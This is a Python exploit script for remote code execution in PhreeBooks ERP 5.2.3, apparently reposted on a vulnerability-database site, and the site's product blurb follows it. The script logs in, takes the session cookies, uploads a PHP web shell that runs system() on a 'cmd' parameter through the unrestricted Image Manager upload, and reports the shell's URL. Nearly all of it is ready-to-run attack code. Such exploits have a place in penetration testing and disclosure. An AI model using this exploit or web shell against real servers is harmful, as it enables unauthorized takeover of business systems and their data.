# Exploit Title: PhreeBooks 5.2.3 - Remote Code Execution
# Date: 22 Jan 2021
# Exploit Author: Kr0ff
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/
# Version: 5.2.3
# Tested on: Windows Server 2016
#!/usr/bin/env python3
'''
DESCRIPTION:
- PhreeBooks ERP 5.2.3 is vulnerable to remote code execution
due to authenticated unrestricted file upload in the "Image Manager"
section of the application.
VULNERABLE VERSION:
- ver 5.2.3
AUTHOR:
- Kr0ff
Note: This is a rewrite of exploit: https://www.exploit-db.com/exploits/46645
Web shell used as payload: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
'''
#https://asciiart.website/index.php?art=animals/
try:
import requests
import argparse
import sys
import re
import random
from termcolor import colored
from time import sleep
except ImportError as e:
print(colored("[ERROR]: ", "red"), f"{e}")
def ascii_art():
example_usage = "python3 exploit.py -t http://10.10.10.120/phreebooks -u [email protected] -p admin"
art = '''
\ /
\ o ^ o /
\ ( ) /
____________(%%%%%%%)____________
( / / )%%%%%%%( \ \ )
(___/___/__/ \__\___\___)
( / /(%%%%%%%)\ \ )
(__/___/ (%%%%%%%) \___\__)
/( )\\
/ (%%%%%) \\
(%%%)
!
| _ \ |_ _ _ ___ ___| |__ ___ ___| |__ ___
| _/ ' \| '_/ -_) -_) '_ \/ _ \/ _ \ / /(_-<
|_| |_||_|_| \___\___|_.__/\___/\___/_\_\/__/
___ ___ ___ ___ ___ ___
| __| _ \ _ \ | _ \/ __| __|
| _|| / _/ | / (__| _|
|___|_|_\_| |_|_\\___|___| v5.2.3
==============================================
'''
print(art)
print(example_usage)
print("\r\n==============================================\r\n")
def exploit(TARGET, USER, PASS):
'''
PHP Reverse Shell
'''
web_shell = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
"""
'''
Perform the login and grab cookies of user
'''
error_msg = "The information you entered cannot be validated, please retry."
url = f"{TARGET}/index.php?&p=bizuno/portal/login"
headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?p=", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"}
login_data=f"-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n{USER}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n{PASS}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------211698600840544395022617560470--\r\n"
print(colored("[*]","blue"), f"Logging in using account: \"{USER}\"")
r = requests.post(url, headers=headers, data=login_data, verify=False)
if error_msg in r.text:
print(colored("[-]","red"), f"Couldn't log in using account: \"{USER}\"...")
print("Something could be wrong, check everything and try again...")
sys.exit(1)
print(colored("[+]","green"), f"Logged in with account: \"{USER}\"")
else:
print(colored("[+]","green"), f"Logged in with account: \"{USER}\"")
try:
print(colored("[*]","blue"), f"Grabbing cookies...")
get_all_cookies = r.headers['Set-Cookie']
get_needed_cookies = re.split(r'\s', get_all_cookies)[6].replace(';','').replace('bizunoSession=','').strip()
user_cookie = re.split(r'\s', get_all_cookies)[13].replace(';','').replace('bizunoUser=','').strip()
except IndexError:
print(colored("[-]","red"), f"Couldn't grab cookies...")
print("Something could be wrong, check everything and try again...")
sys.exit(1)
'''
Continue with the exploitation part of the exploit
Uploading a file with random name and .php extension,
since "Image Manager" doesn't restrict file types
'''
f_name = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php"
print(colored("[*]","blue"), f"Trying to upload file \"{f_name}\"")
e_url = f"{TARGET}/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload"
e_cookies = {"bizunoLang": "en_US", "bizunoUser": f"{user_cookie}", "bizunoSession": f"{get_needed_cookies}"}
e_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"}
e_data= f'-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgSearch"\r\n\r\n\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgFile"; filename="{f_name}"\r\nContent-Type: binary/octet-stream\r\n\r\n{web_shell}\n\r\n-----------------------------211698600840544395022617560470--\r\n'
u_req = requests.post(e_url, headers=e_headers, cookies=e_cookies, data=e_data, verify=False)
if u_req.status_code == 200:
print(colored("[+]","green"), f"Uploaded file: \"{f_name}\"")
else:
print(colored("[-]","red"), f"Couldn't upload file: \"{f_name}\"")
print("Something could be wrong, check everything and try again...")
sys.exit(1)
'''
Perform the execution of the PHP reverse shell
by accessing the path to it
'''
sreq = requests.get(f"{TARGET}/myFiles/images/{f_name}")
if sreq.status_code == 200:
print(colored("[+]", "green"), f"Webshell is uploaded to: {TARGET}/myFiles/images/{f_name}")
elif sreq.status_code == 404:
print(colored("[-]", "red"), f"Webshell was not uploaded !\r\nCheck your target...")
print("Check if the upload file path is correct in the exploit and in the web application...")
sys.exit(0)
else:
print(colored("[!]", "yellow"), f"Something could be wrong, check everything and try again...\r\n")
sys.exit(1)
'''
Initilize parser for arguments
'''
def parse_argz():
parser = argparse.ArgumentParser(description='PhreeBooks 5.2.3 Remote Code Execution via Authenticated File Upload ')
parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/phreebooks", type=str, required=True)
parser.add_argument("-u", "--user", help="Email to login as", type=str, required=True)
parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str, required=True)
#args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
args = parser.parse_args(args=None)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
TARGET = str(args.target)
USER = str(args.user)
PASS = str(args.passwd)
exploit(TARGET, USER, PASS)
if __name__ == "__main__":
try:
ascii_art()
parse_argz()
except Exception as e:
print(colored("[ERROR]","red"), f"-> {e}")
sys.exit(1)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation